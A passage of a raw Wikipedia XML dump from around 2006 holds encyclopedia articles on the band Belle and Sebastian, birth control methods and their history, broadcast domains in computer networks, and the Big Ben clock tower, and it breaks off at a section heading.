In [[January 2005]] Belle and Sebastian were voted Scotland's greatest band in a poll by [[The List]], beating [[Simple Minds]], [[Idlewild (band)|Idlewild]], [[Travis (band)|Travis]], [[Franz Ferdinand (band)|Franz Ferdinand]], and [[The Proclaimers]], among others.

The band's name is taken from ''[[Belle et Sébastien]]'', a children's book by French writer Cécile Aubry about a boy (Sébastien) and his dog (Belle). The book was made into a  French live action television series in 1965 and a Japanese anime in 1981.

Side projects and spin-offs include the bands [[Gentle Waves]], [[V-Twin]], and [[Looper]].

==Discography==

===Albums===
====Studio====

&lt;gallery&gt;

&lt;!--- Please refer to discussion before making any changes ---&gt;
&lt;gallery&gt;
Image:BelleAndSebastianTigermilk.jpg|&lt;center&gt;'''''[[Tigermilk]]'''''&lt;br&gt;&lt;center&gt;[[1996]]&lt;br&gt;&lt;center&gt;'''#13''' (UK, however, it did not chart until 1999), '''#15''' (SWE)

Image:Belle and Sebastian-If You're Feeling Sinister.jpg|&lt;center&gt;'''''[[If You're Feeling Sinister]]'''''&lt;br&gt;&lt;center&gt;[[1996]]&lt;br&gt;&lt;center&gt;'''#191''' (UK)

Image:Belle sebastian - the boy with the arab strap.jpg|&lt;center&gt;'''''[[The Boy with the Arab Strap]]'''''&lt;br&gt;&lt;center&gt;[[1998]]&lt;br&gt;&lt;center&gt;'''#12''' (UK), '''#30''' (SWE)

Image:FoldYourHandsChildCover.jpg|&lt;center&gt;'''''[[Fold Your Hands Child, You Walk Like a Peasant]]'''''&lt;br&gt;&lt;center&gt;[[2000]]&lt;br&gt;&lt;center&gt;'''#10''' (UK), '''#80''' (US), '''#11''' (SWE)

Image:Belle &amp; Sebastian - Storytelling.jpg|&lt;center&gt;'''''[[Storytelling (album)|Storytelling]]'''''&lt;br&gt;&lt;center&gt;[[2002]]&lt;br&gt;&lt;center&gt;'''#26''' (UK), '''#150''' (US), '''#29''' (SWE)

Image:Dearcatastrophecover.jpg|&lt;center&gt;'''''[[Dear Catastrophe Waitress]]'''''&lt;br&gt;&lt;center&gt;[[2003]]&lt;br&gt;&lt;center&gt;'''#21''' (UK), '''#84''' (US), '''#16''' (SWE)

Image:Thelifepursuitcover.jpg|&lt;center&gt;'''''[[The Life Pursuit]]'''''&lt;br&gt;&lt;center&gt;[[2006]]&lt;br&gt;&lt;center&gt;'''#8''' (UK), '''#65''' (US), '''#47''' (CAN), '''#20''' (SWE), '''#60''' (AUT), '''#56''' (SUI)

&lt;/gallery&gt;

====Live====
* ''[[The Black Sessions: Live at Studio Charles Trenet, Paris]]'', 1998
* ''[[If You're Feeling Sinister: Live at the Barbican]]'', 2005

===Singles &amp; EPs===
* ''[[Dog on Wheels|Dog on Wheels EP]]'', 1997; #59 UK
* ''[[Lazy Line Painter Jane|Lazy Line Painter Jane EP]]'', 1997; #41 UK
* ''[[3.. 6.. 9.. Seconds of Light|3.. 6.. 9.. Seconds of Light EP]]'', 1997; #32 UK
* ''[[This Is Just a Modern Rock Song|This Is Just a Modern Rock Song EP]], 1998 
* &quot;[[Legal Man]]&quot;, 2000; #15 UK
* &quot;[[Jonathan David]]&quot;, 2001; #31 UK
* &quot;[[I'm Waking Up to Us]]&quot;, 2001; #39 UK
* &quot;[[Step Into My Office, Baby]]&quot;, 2003; #32 UK
* &quot;[[I'm a Cuckoo]]&quot;, 2004; #14 UK
* ''[[Books (EP)|Books EP]]'', 2004; #20 UK
* &quot;[[Funny Little Frog]]&quot;, 2006; #13 UK
* &quot;[[The Blues Are Still Blue]]&quot;, 2006

===Compilations===
* ''[[Lazy Line Painter Jane (boxset)]]'' (boxset of first three EPs), 2000
* ''[[Push Barman to Open Old Wounds]]'' (compilation of Jeepster singles &amp;amp; EPs), 2005; #40 UK
* ''[[Late Night Tales: Belle &amp; Sebastian|Late Night Tales: Belle and Sebastian]]'' (compilation of other artists, compiled by B&amp;S), 2006

===DVDs===
* ''Fans Only'', 2003

==External links==
* [http://www.belleandsebastian.com/ Official Website]
* [http://www.jeepster.co.uk/belleandsebastian/ B&amp;S on Jeepster]
* [http://www.missprint.org/sinister/ Sinister] &amp;ndash; Mailing list, with lyrics and chords
* [http://www.bowlie.com/forum/belle-and-sebastian/ B&amp;S on the Bowlie forum]
* [http://www.list.co.uk/fiftybandsmain.html The List's 'Best Scottish Band of All Time' Announcement]
* [http://www.matadorrecords.com/belle_and_sebastian/  Belle and Sebastian on Matador Records]

&lt;!-- Categories --&gt;
[[Category:Scottish musical groups]]
[[Category:Alternative musical groups]]
[[Category:Indie rock groups]]
[[Category:Nineties Glasgow-scene groups]]
&lt;!-- Interwiki links --&gt;
[[ca:Belle &amp; Sebastian]]
[[de:Belle and Sebastian]]
[[es:Belle and Sebastian]]
[[eo:Belle &amp; Sebastian]]
[[fr:Belle and Sebastian]]
[[it:Belle and Sebastian]]
[[he:בל וסבסטיאן]]
[[ja:ベル・アンド・セバスチャン]]
[[pt:Belle &amp; Sebastian]]
[[sv:Belle &amp; Sebastian]]</text>
    </revision>
  </page>
  <page>
    <title>Boston Globe</title>
    <id>4268</id>
    <revision>
      <id>15902551</id>
      <timestamp>2003-04-26T09:46:22Z</timestamp>
      <contributor>
        <username>Minesweeper</username>
        <id>7279</id>
      </contributor>
      <comment>moving content and redirecting to &quot;The Boston Globe&quot;</comment>
      <text xml:space="preserve">#REDIRECT [[The Boston Globe]]</text>
    </revision>
  </page>
  <page>
    <title>Birth control</title>
    <id>4271</id>
    <revision>
      <id>41970065</id>
      <timestamp>2006-03-02T23:23:41Z</timestamp>
      <contributor>
        <username>Alienus</username>
        <id>195268</id>
      </contributor>
      <minor />
      <comment>Revert to revision 41899330 using [[:en:Wikipedia:Tools/Navigation_popups|popups]]</comment>
      <text xml:space="preserve">:''For the [[Krautrock]] band, see [[Birth Control (band)]]''
'''Birth control''' is a regimen of one or more actions, devices, or [[medication]]s followed in order to deliberately prevent or reduce the likelihood of a [[woman]] giving [[childbirth|birth]] or becoming [[pregnancy|pregnant]]. Methods and intentions typically termed birth control may be considered a pivotal ingredient to [[family planning]]. Mechanisms which are intended to reduce the likelihood of the [[fertilization]] of an [[ovum]] by a [[spermatozoon]] may more specifically be referred to as ''[[contraception]]''. Contraception differs from [[abortion]] in that the former prevents fertilization, whereas abortion terminates an already established pregnancy. Methods of birth control which may prevent the implantation of an embryo ''if'' fertilization occurs are medically considered to be contraception but characterized by some opponents as abortifacients.

Birth control is a controversial political and ethical issue in many [[culture]]s and [[religion]]s, and although it is generally less controversial than abortion specifically, it is still opposed by many. There are various degrees of opposition, including those who oppose all forms of birth control short of [[sexual abstinence]]; those who oppose forms of birth control they deem &quot;unnatural,&quot; while allowing [[natural family planning]]; and those who support most forms of birth control that prevent [[fertilization]], but oppose any method of birth control which prevents a fertilized [[embryo]] from attaching to the [[uterus]] and initiating a pregnancy.

==History of birth control==
[[Image:Familyplanningmalaysia.jpg|right|thumb|300px|A major factor in reducing birth rates in [[developing countries]] such as Malaysia is the availability of family planning facilities, like this one in Kuala Trengganu.]]
Probably the oldest methods of contraception (aside from [[sexual abstinence]]) are ''[[coitus interruptus]]'',
[[barrier contraception|barrier methods]], and herbal [[abortifacient]]s.  

''[[Coitus interruptus]]'' (withdrawal of the [[penis]] from the [[vagina]] prior to [[ejaculation]]) probably predates any other form of birth control. Once the relationship between the emission of [[semen]] into the vagina and pregnancy was known or suspected, some men began to use this technique. This is not a particularly reliable method of contraception, as few men have the self-control to correctly practice the method at every single act of intercourse.

[[Folklore]] has suggested [[douche|douching]] immediately following intercourse as a contraceptive method, and while it seems like a sensible idea to try to wash the ejaculate out of the vagina, it does not work due to the nature of the fluids and the structure of the female reproductive tract — if anything, douching spreads semen further towards the uterus. Some slight [[spermicide|spermicidal]] effect may occur if the douche solution is particularly acidic, but overall it is not scientifically observed to be a reliably effective method.

There are historic records of Egyptian women using a [[pessary]] (a vaginal suppository) made of various acidic substances (crocodile dung is alleged) and lubricated with honey or oil, which may have been somewhat effective at killing sperm. However, it is important to note that the sperm cell was not discovered until [[Anton van Leeuwenhoek]] invented the microscope in the late seventeenth century, so barrier methods employed prior to that time could not know of the details of conception. Asian women may have used oiled paper as a [[cervical cap]], and Europeans may have used beeswax for this purpose. The [[condom]] appeared sometime in the seventeenth century, initially made of a length of animal intestine. It was not particularly popular, nor as effective as modern [[latex]] condoms, but was employed both as a means of contraception and in the hopes of avoiding [[syphilis]], which was greatly feared and devastating prior to the discovery of [[antibiotic]] drugs. &lt;!-- (''time references and more details pending'') --&gt;

Various [[abortifacient]]s have been used throughout human history, but are not considered by some to be birth control. Some of
these were effective, some were not; those that were most effective also had major side effects. One abortifacient reported to have low levels of side effects - silphium - was harvested to extinction around the first century CE{{ref|silphium}}.  The ingestion of certain poisons by the female can disrupt the reproductive system; women have drunk solutions containing [[mercury (element)|mercury]], [[arsenic]], or other toxic substances for this purpose.  The Greek [[gynaecologist]] [[Soranus]] in the second century AD suggested that women drink water that blacksmiths had used to cool metal. The herbs [[tansy]] and [[pennyroyal]] are well-known in folklore as abortive agents, but these also &quot;work&quot; by poisoning the woman. Levels of the active chemicals in these herbs that will induce a miscarriage are high enough to damage the liver, kidneys, and other organs, making them very dangerous. However, in those times where risk of maternal death from postpartum complications was high, the risks and side effects of toxic medicines may have seemed less onerous.  Some herbalists claim that black cohosh tea will also be effective in certain cases as an abortifacient.

Presenters at a family planning conference told a tale of Arab traders inserting small stones into the [[uterus]]es of their camel in order to prevent pregnancy, a concept very similar to the modern [[IUD]].  Although the story has been repeated as truth, it has no basis in history and was meant only for entertainment purposes{{ref|camel}}.  The first interuterine devices (which occupied both the vagina and the uterus) were first marketed around 1900.  The first modern intrauterine device (contained entirely in the uterus) was described in a German publication in 1909, although the author appears to have never marketed his product{{ref|IUD}}. 

The Rhythm Method (with a rather high method failure rate of 10% per year) was developed in the early twentieth century, as researchers discovered that a woman only ovulates once per menstrual cycle.  Not until the mid-20th century, when scientists better understood the functioning of the menstrual cycle and the hormones that controlled it, were [[oral contraceptives]] and modern methods of [[fertility awareness]] (also known as [[natural family planning]]) developed.

==Birth control methods==
[[Image:ThreeColoredRolledUpCondoms.jpg|thumb|right|Three colored condoms]]
* [[celibacy]], or [[sexual abstinence]] (some may consider these be more properly called ''alternatives'' to birth control)

* non-vaginal [[human sexual behavior|sex]], such as 
**Sex without [[sexual penetration|penetration]] (&quot;[[outercourse]]&quot;)
**[[Anal sex]] or [[oral sex]]

* Withdrawal, i.e. [[coitus interruptus]] 

* Barrier methods, often combined with [[spermicide]]s
** [[Condom]] (male and female)
** [[Diaphragm (contraceptive)|Diaphragm]]
** [[Lea's shield]]
** [[Cervical cap]] 
** [[Contraceptive sponge]]

* Chemical methods 
** Combined estrogen &amp; progesterone:
*** [[Oral contraceptive|Combined oral contraceptive pill]] (&quot;The Pill&quot;)  
*** [[Contraceptive patch]]
*** [[Vaginal ring|Contraceptive vaginal ring]]
*** [[Lunelle]] (monthly injection)
** Progesterone used alone:
*** [[Progesterone only pill]] (POP)
*** [[Depo Provera]] (injection every three months)
*** [[Implant (medicine)|Implant]]s (such as [[Norplant]] or [[Implanon]])
(Most combined pills and POPs may also be taken in high doses as [[emergency contraception]], also known as the morning after pill.)

* Intrauterine methods
** [[Intrauterine Device]] (&quot;IUD&quot;) which may also be used for emergency contraception
** [[IntraUterine System]] (&quot;IUS&quot;)

* [[Fertility Awareness Method]]s aka [[Natural family planning]]
* [[Lactational Amenorrhea Method]] 

* [[Abortion]] methods 
** [[Abortion#Surgical abortion|Surgical abortion]] 
** [[Chemical abortion]]
** [[Abortifacient|Herbal abortifacients]]

* Surgical [[sterilization (surgical procedure)|sterilization]]
** [[Tubal ligation]] for women
** [[Vasectomy]] for men

* Experimental [[male contraceptive]]s (future alternatives to condoms and vasectomy)

===Protection against sexually-transmitted infections===
Not all methods of birth control offer protection against [[sexually-transmitted infection]]s.  Abstinence from all forms of [[Human sexual behavior|sexual behavior]] will protect against the ''sexual'' transmission of these infections.  The male [[latex]] condom offers some protection against some of these diseases with correct and consistent use, as does the female condom, although the latter has only been approved for [[vaginal sex]].  The female condom may offer greater protection against sexually-transmitted infections that pass through skin to skin contact, as the outer ring covers more exposed skin than the male condom, and can be used during anal sex to guard against sexually-transmitted infections, though knowledge of the product is important in order to ensure its effectiveness.

The remaining methods of birth control do not offer significant protection against the sexual transmission of these diseases.

However, so-called sexually-transmitted infections may also be transmitted '''non-sexually''', and therefore, abstinence from sexual behavior does not guarantee 100% protection against sexually-transmitted infections.  For example, [[HIV]] may be transmitted through contaminated needles which may be used in [[tattoo]]ing, [[body piercing]], or [[Injection (medicine)|injections]].  Health-care workers have acquired HIV through occupational exposure to accidental injuries with needles (PMID 12602690).

==Religious and cultural attitudes toward birth control==
===Christianity===
{{main|Christian views on contraception}}

Since the 1930 approval of contraception (in limited circumstance) by the [[Anglican Communion]], most Protestant groups have come to approve the use of modern contraceptives when couples do not desire children.

Like pre-20th century Protestantism, the [[Catholicism|Catholic Church]] is morally opposed to contraception and orgasmic acts outside of the context of marital intercourse.  In some circumstance, the Catholic Church does approve of preventing pregnancy by use of [[natural family planning]], but all artificial forms of contraception are condemned.

=== Islam ===
The [[Qur'an]] does not make any explicit statements about the morality of contraception, but contains statements encouraging procreation. Various interpretations have been set forth over time, and at the time of this writing, discussions on the [[WWW|web]] can be found easily that take various positions. Early [[Muslim]] literature discusses various contraceptive methods, and a study sponsored by the [[Egypt|Egyptian government]] concluded that not only was ''azl'' ([[coitus interruptus]]) acceptable from a moral standpoint, but any similar method that did not produce [[sterility]] was also acceptable.

:''&quot;It is permissible to use condoms so long as this does not cause any harm and so long as both husband and wife consent to their use, because this is similar to ''‘azl'' (''coitus interruptus'' or “withdrawal”). But it reduces the sensation of pleasure, which is the right of both partners, and reduces the chance of conception, which is also the right of both partners. Neither one of them is allowed to deprive the other of these rights. And Allaah is the course of strength.&quot; - islamic-paths.org, Sex and Sexuality in Islam - Condoms  (2005) [http://www.islamic-paths.org/Home/English/Issues/Sexuality/Condoms.htm]''

However, there are several schools of thought on this as well as other issues concerning Islamic [[morality]].  In [[Iran]], an Islamic country, contraceptive methods are not only taught to married couples, but also encouraged to youngsters through posters and advertisements.

=== Judaism ===
The Jewish view on birth control currently varies between the [[Orthodox Judaism|Orthodox]], [[Conservative Judaism|Conservative]], and [[Reform Judaism|Reform]] branches of Judaism. Among Orthodox Judaism, use of birth control has been considered only acceptable for use in limited circumstances. Conservatives, while generally encouraging its members to follow the traditional Jewish views on birth control has been more willing to allow greater acceptations regarding its use to fit better within modern society. Reform Judaism has generally been the most liberal with regard to birth control allowing individual followers to use their own judgment in what, if any, birth control methods they might wish to employ.

Among traditional interpretations of the [[Torah]], active prevention of [[pregnancy]] is in violation of the commandment &quot;be fruitful and multiply&quot; ([[Genesis]] 1:22). Some [[Rabbi|Rabbinic authorities]] further consider the possibility (generally not accepted) that a union that by definition cannot lead to [[pregnancy]] would amount to &quot;spilling seed&quot;, the sin of [[Onan]] ([[Genesis]] 38:9).

The option of contraception is raised by the [[Talmud]] (tractate Yevamot 12b), where the use of a [[pessary]] is discussed for women who are too young to get pregnant, presently pregnant, or nursing. In each case either the woman or her child is at risk for serious complications, and this is the basis for many [[rabbinic literature|rabbinic authorities]] permitting contraception in situations where pregnancy would seriously harm the woman. In those cases, the most &quot;natural&quot; method is preferred; as the use of a [[condom]] or [[pessary]] creates a physical barrier, &quot;[[oral contraceptive|the pill]]&quot; (or an [[intrauterine device]]) is preferred by most authorities.

Contraceptive measures that lead to [[sterility]], especially male sterility (e.g. through [[vasectomy]]), are problematic, and a sterilized man may have to separate from his wife (based on [[Deuteronomy]] 23:2).

Such regulations regarding contraception affect the traditional streams of Judaism (including, but not limited to the Ultra-Orthodox and Modern-Orthodox sects) more so than others because of their strict adherence to Halakhah, or Jewish law.  These regulations affect liberal strains of Judaism (including, but not limited to, the Reform, Reconstructionist, and Conservative movements; particularly in Western society) much less, where the emphasis is on applying Halakhah to modern life rather than observing it strictly.  Many modern Jews feel that the benefits of contraception, be they female health, family stability, or disease prevention, uphold the commandment in Judaism to &quot;choose life&quot; much more strongly than they violate the commandment to &quot;be fruitful and multiply&quot;.

When [[Orthodox Judaism|Orthodox Jewish]] couples contemplate the use of contraceptives, they generally consult a [[rabbi]] who evaluates the need for the intervention and which method is preferable from a ''[[halakha|halachic]]'' point of view.

Generally, the introduction of [[oral contraceptive]]s has not caused the stir in [[Judaism|Jewish]] circles that it caused in other religious groups. It was followed by a number of [[responsa]] from rabbinic decisors (''[[posek|poskim]]'') which outlined the proper approach to the new phenomenon. There has been surprisingly little talk of the potential risk of increased [[promiscuity]] (''[[z'nut]]'').  For example, an innovative use of the [[contraceptive pill]] in [[Judaism]] is employed by young brides. The laws of [[family purity]] state that intercourse cannot take place while a woman is menstruating (see ''[[niddah]]''). In order to decrease the chance of [[menstruation]] occurring just before (or on) the wedding night, many brides briefly regulate their periods in the months leading up to their [[wedding]].

==See also==
*[[Population control]]

==References==
*Riddle, John M. (1999). ''Eve's Herbs: A History of Contraception and Abortion in the West.''  Harvard MA: Harvard University Press. ISBN 0674270266 [http://birth-parent.helpdesk-station.com/birth-control-ring/Birth-Control.html Online summary] Accessed [[December 21]] [[2005]].
#{{note|pre-e}}[http://www.ncbi.nlm.nih.gov/entrez/query.fcgi?cmd=Retrieve&amp;db=pubmed&amp;dopt=Abstract&amp;list_uids=12286905 Researchers find no sperm in pre-ejaculate fluid].  Contraceptive Technology Update. 1993 Oct;14(10):154-6.
#{{note|springer}}Zukerman, Z and D.B.Weiss and R.Orvieto. [http://www.ingentaconnect.com/content/klu/jarg/2003/00000020/00000004/00461193 Does Preejaculatory Penile Secretion Originating from Cowper's Gland Contain Sperm?] Journal of Assisted Reproduction and Genetics, Volume 20, Number 4, April 2003, pp. 157-159(3).
#{{note|silphium}}Tatman, John.  [http://ancient-coins.com/articles/silphium/silphium2.htm SILPHIUM: ANCIENT WONDER DRUG?]  Accessed [[December 21]] [[2005]].
#{{note|IUD}}Thomas, Patricia. (1988). ''Contraceptives'', &lt;u&gt;Medical World News&lt;/u&gt;, 29(5) ([[14 March]]), 48
#{{note|IUD}}[http://www.contraceptiononline.org/contrareport/article01.cfm?art=93 Evolution and Revolution: The Past, Present, and Future of Contraception].  Contraception Online, ''The Contraception Report'', Volume 10, Issue 6, February 2000.

==External links==
* [http://www.plannedparenthood.com/pp2/portal/medicalinfo/birthcontrol/   Planned Parenthood of America - Birth Control Methods]
* [http://www.orthodoxytoday.org/articles/AnscombeChastity.shtml  G. E. M. Anscombe: ''Contraception and Chastity'']
*[http://www.arhp.org/healthcareproviders/resources/contraceptionresources/ Contraception Resource Center from the Association of Reproductive Health Professionals.]
*[http://www.consumerreports.org/main/content/display_report.jsp?FOLDER%3C%3Efolder_id=551087&amp;ASSORTMENT%3C%3East_id=333141&amp;bmUID=1115189369630 A Guide to Condoms and birth control methods.]
*[http://www.alternet.org/rights/22062/ &quot;The Contraception Museum&quot;] (The History of Contraception Museum, Cleveland, Ohio, US.)
*[http://www.birth-control.ws/ Descriptions of various birth control options.]
*[http://www.ccli.org/ Couple to Couple League] Natural Family Planning

&lt;!-- The below are interlanguage links. --&gt;

[[Category:Birth control|*]]

{{Link FA|ja}}

[[ca:Anticonceptiu]]
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[[simple:Birth control]]</text>
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      <text xml:space="preserve">A '''broadcast domain''' is a logical area in a [[computer network]] where any [[computer]] connected to the [[computer network]] can directly transmit to any other in the domain without having to go through a [[routing]] device, providing they share the same subnet and gateway address and are in the same [[Virtual LAN|VLAN]], (default or installed).  (If VLANS are installed on a switch, a router will be needed to route between VLANS in the same network). 

More specifically it is an area of the [[computer network]] made up of all the [[computer]]s and networking devices able to be reached by sending a frame to the [[data link layer]] broadcast address.  

In a very basic network where hubs are used to connect the computers, rather than switches or routers, you could say 
it's pretty much like the post office clerk checking the mail. One clerk has to look at mail every time to confirm that the mail is not for himself/herself. So when one mail (signal) is sent from one point, all the other points in the network will have to check in order to confirm that the mail (signal) is not for themselves.

Compare with [[Collision domain]].

{{compu-network-stub}}

[[Category:Computer networks]]

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[[he:&amp;#1502;&amp;#1514;&amp;#1495;&amp;#1501; &amp;#1513;&amp;#1497;&amp;#1491;&amp;#1493;&amp;#1512;]]
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      <comment>Reverted edits by [[Special:Contributions/172.201.95.41|172.201.95.41]] ([[User talk:172.201.95.41|Talk]]) to last version by 151.199.193.196</comment>
      <text xml:space="preserve">{{otheruses}}
[[Image:Big Ben Feb 2006.jpg|right|thumb|200px|The Clock Tower, colloquially known as Big Ben]]
'''Big Ben''' is the colloquial name of the '''Clock Tower''' of the [[Palace of Westminster]] in [[London]], and an informal name for the '''Great Bell of Westminster''', the largest [[bell (instrument) | bell]] in the tower and part of the '''Great Clock of Westminster'''.  Coordinates: {{coor dms|51|30|2.6|N|0|7|28.6|W|}}. 
The clock tower is at the north-eastern end of the building, the home of the [[Palace of Westminster|Houses of Parliament]], and contains the famous [[striking clock]] and bell.

==Naming==
The name, &quot;Big Ben&quot; is almost universally used to describe the clock tower as a whole. However, officially, &quot;Big Ben&quot; refers specifically to the prinicpal bell within the tower - the largest and lowest in pitch that counts the number of hours, following each hourly chime sequence. One theory says that the bell is named after Sir [[Benjamin Hall, 1st Baron Llanover|Benjamin Hall]], the Chief Commissioner of Works. Another theory suggests that at the time anything which was heaviest of its kind was called &quot;Big Ben&quot; after the then-famous prizefighter [[Benjamin Caunt]], making it a natural name for the bell.

The tower is also sometimes referred to as '''St Stephen's Tower''', though this name refers to the other tower at the Palace of Westminster. This name might originate from '''St Stephen's Hall''', site of the old [[House of Commons]] in the western wing of the Palace of Westminster, which is the entrance used by visitors wishing to view the proceedings of the Houses of Parliament, and British subjects wishing to [[lobbying|lobby]] their [[Member of Parliament|MP]].

==History and construction==
===The Clock Tower===
[[image:clock.tower.from.westminster.br.arp.750pix.jpg|thumb|right|250px| The [[Palace of Westminster]] and the Clock Tower on the north-eastern end, from [[Westminster Bridge]].]]
The tower was raised as a part of [[Charles Barry]]'s design of a new palace, after the old [[Palace of Westminster]] was destroyed by fire on the night of [[October 16]], [[1834]]. The tower is designed in the [[Victorian Gothic]] style, and is 96.3 m (316 ft) high.

The 61 m (200 ft) tower consists of brickwork with stone cladding; the remainder of the tower's height is accounted for by a framed spire of cast iron. The tower is founded on a 15 by 15 m (49 by 49 ft) raft, made of 3 m (9 ft) thick concrete, at a depth of 7 m (23 ft) below ground level. The tower has an estimated weight of 8,667 t. The four clock faces are 55 m (180 ft) above ground.

Due to ground conditions present since construction, the tower leans slightly to the north-west, by roughly 220 mm. It also oscillates annually by a few millimetres east and west, due to thermal effects. [http://www.geolsoc.org.uk/template.cfm?name=BA5]

===The clock and its faces===
The clock in the tower was once the biggest in the world, able to strike the first blow for each hour with an accuracy of one second. The clock mechanism was completed by [[1854]], but the tower was not fully constructed until four years later.

[[image:big.ben.scaled.arp.750pix.jpg|thumb|right|250px|The face of the Great Clock of Westminster. A 5 foot 4 inch person (1.63 m) has been inserted into the picture at correct scale. The hour hand is 9 feet (2.7 m) long and the minute hand is 14 feet (4.3 m) long]]

The clock faces and dials were designed by [[Augustus Pugin]]. It is an iron framework 23 feet in diameter supporting 312 pieces of opal glass, rather like a stained glass window. Some of the glass pieces may be removed for inspection of the hands. The surround of the dials is heavly gilded.  At the base of each clock face in gilt letters is the [[Latin]] inscription 'DOMINE SALVAM FAC REGINAM NOSTRAM VICTORIAM PRIMAM' which means 'Lord save our [[Victoria of the United Kingdom|Queen Victoria I]]'.
The name ''Big Ben'' was first given to a 16-ton hour bell, cast in [[1856]]. Since the tower was not yet finished, the bell was mounted in [[New Palace Yard]] but the bell cracked under the striking hammer, and its metal was recast as the 13.8 ton bell which is in use today.  The new bell was mounted in the tower in [[1858]] alongside four quarter-hour bells.

On [[September 7]], [[1859]], the clock became fully operational.

The mechanisms of the clock and chimes have been overhauled several times since then.

===The Great Bell of Westminster===
The bell weighs [[1 E4 kg|13.762]] [[tonne|t]] (13 tons 10 cwt 99 lb or 30,339 lb), with a striking hammer weighing 203 kg (4 cwt), and was originally tuned to [[note|E]]. There is a delay of 5 seconds between strikes. It is a common misconception that Big Ben is the heaviest bell in Britain. In fact, it is the third heaviest, the second heaviest being ''Great George'' found at [[Liverpool Cathedral]] at 14 tons 15 cwt 2 qtr 2 lb (33,098 lb or 15.013 t) and the heaviest being ''Great Paul'' found at [[St Paul's Cathedral]] at 16 tons 14 cwt 2 qtr 19 lb (37,483 lb or 17.002 t).

The original tower designs demanded a 14-ton bell to be struck with a 6-cwt (300-kg) hammer. A bell was produced by John Warner and Sons in [[Stockton-on-Tees]] in [[1856]], weighing 16 tons. However, this cracked under test in the Palace Yard. The contract for the bell was then given to the [[Whitechapel Bell Foundry]], who in [[1858]] re-cast the bell into the 13.8 t bell used today. It too started to crack under the hammer, and a legal battle arose. For two years, the largest of the quarter bells was used as a substitute, and after two years of having the Great Bell out of commission, the 6 cwt (300 kg) hammer was replaced with a 4 cwt (200 kg) hammer, and the bell itself was turned 90° so the crack would not develop any further, and it came back into use in [[1862]]. However, the crack (now filled) and the turn meant that it no longer struck a true E.

The tongue of the bell was forged at Hopper's foundry, [[Houghton-le-Spring]], [[Tyne and Wear]] in 1858.

===Other bells===
Along with the main bell, the [[belfry (architecture)|belfry]] houses four [[quarter bells]] which play the [[Westminster Quarters]], derived from [[Handel]]'s ''[[Messiah (Handel)|Messiah]]'', on the quarter hours. The C note in the chime is repeated twice in quick succession, faster than the chiming train can draw back the hammers, so the C bell uses two separate hammers.

==Similar turret clocks==
A 20 foot (6 m) metal replica of the clock tower, known as [[Little Ben]], complete with working clock, stands on a traffic island close to [[Victoria Station (London)|Victoria Station]]. Several [[turret clock]]s around the world are inspired by the look of the Great Clock, including the clock tower of the [[Gare de Lyon]] in [[Paris]] and the [[Peace Tower]] of the [[Parliament of Canada]] in [[Ottawa]].

==Reliability==
[[Image:BigBenAtDusk.jpg|thumb|left|The Clock Tower at dusk, with [[The London Eye]] in the background]]
The clock is famous for its reliability. This is due to the skill of its designer, the lawyer and amateur [[horologist]] [[Edmund Beckett, 1st Baron Grimthorpe|Edmund Beckett Denison]], later Lord Grimthorpe. As the clock mechanism, created to Denison's specification by clockmaker [[Edward John Dent]], was completed before the tower itself was finished, Denison had time to experiment. Instead of using the [[Escapement#Deadbeat escapement|deadbeat escapement]] and [[remontoire]] as originally designed, Denison invented the double three-legged [[gravity escapement]]. This [[escapement]] provides the best separation between pendulum and clock mechanism. Together with an enclosed, wind-proof box sunk beneath the clockroom, the Great Clock's pendulum is well isolated from external factors like snow, ice and pigeons on the clock hands, and keeps remarkably accurate time.

The idiom of ''putting a penny on'', with the meaning of slowing down, sprung from the method of fine-tuning the clock's pendulum by adding or subtracting penny coins. Even to this day, old pennies, phased out of British currency by the [[1971]] [[decimalisation]], are used.

Despite heavy bombing, it ran accurately throughout [[The Blitz]]. It slowed down on [[New Year's Eve]] [[1962]] due to heavy snow, causing it to chime in the new year 10 minutes late.

The clock had its first and only major breakdown in [[1976]]. The chiming mechanism broke due to [[metal fatigue]] on [[5 August]] [[1976]], and was reactivated again on [[9 May]] [[1977]]. During this time [[BBC Radio 4]] had to make do with the [[BBC pips|pips]].

It stopped on [[30 April]] [[1997]], the day before the [[United Kingdom general election, 1997|general election]], and again three weeks later.

On Friday, [[27 May]] [[2005]] the clock stopped ticking for 90 minutes from 10.07pm, possibly due to hot weather (temperatures in London had reached an unseasonal 31.8&amp;deg;C/90&amp;deg;F). It resumed keeping time, but stalled again at 10.20 p.m. and remained still for about 90 minutes before starting up again. [http://news.bbc.co.uk/1/hi/england/london/4589527.stm]

On [[29 October]] [[2005]], Big Ben was stopped for approximately 33 hours so that the clock and its chimes could be worked on. It was the lengthiest maintenance shutdown in 22 years.

In [[2005]], [[Abu Hamza]] had a terrorist manual in his house which was found labelling Big Ben as a terrorist target. It also labelled [[The Statue of Liberty]] and the [[Eiffel Tower]]. In his trial at [[The Old Bailey]] in [[2006]] he denied all knowledge of them being potential targets.
==Culture==
[[image:ItvNEWS_bigben_clockface.jpg|thumb|right|250px|[[ITV News]] opening titles featuring a digital Big Ben clock face]] 
[[image:big.ben.toweralone.arp.jpg|thumb|right|250px|The Clock Tower from Westminster Bridge]]  
Big Ben is a focus of [[New Year]] celebrations in [[England]], with radio and TV stations tuning to its chimes to welcome the start of the year. Similarly, on [[Remembrance Day]], the chimes of Big Ben are broadcast to mark the 11th hour of the 11th day of the 11th month and the start of two minutes' silence.

For many years [[ITN]]'s &quot;[[News at Ten]]&quot; began with an opening sequence which featured Big Ben with the chimes punctuating the announcement of the news headlines. The Big Ben chimes are still used today during the headlines and all [[ITV News]] bulletins use a graphic based on the Westminster clock face. Big Ben can also be heard striking the hour before some news bulletins on [[BBC Radio 4]] (currently 6pm and midnight, plus 10pm on Sundays) and the [[BBC World Service]], a practice that began on [[December 31]], [[1923]]. The chimes are transmitted live via a microphone permanently installed in the tower and connected by line to [[Broadcasting House]].

Big Ben is often used in the [[Physics]] classroom to demonstrate the difference between the [[speed of light]] and the [[speed of sound]] for British children.  Specifically, if you were to visit London and stand at the bottom of the clock tower, you will hear the chimes of Big Ben approximately 1/6 of a second later than the bell being struck (assuming a bell height of 55 metres).  However, using a microphone placed near the bell and transmitting the sound to a far away destination by radio (for instance [[New York]] or [[Hong Kong]]), that location will hear the bell long before you do on the ground.  In fact, if the recipient were to echo the sound back to the observer on the ground, the bell would be heard on the radio before the natural sound reached you. (Example: New York is 3456 miles from London, and radio waves will reach New York in 0.018552 seconds; round trip is 0.037105 seconds, compared to 0.1616 seconds for the natural sound to reach the ground)

==Fiction==
===A cultural cliche===
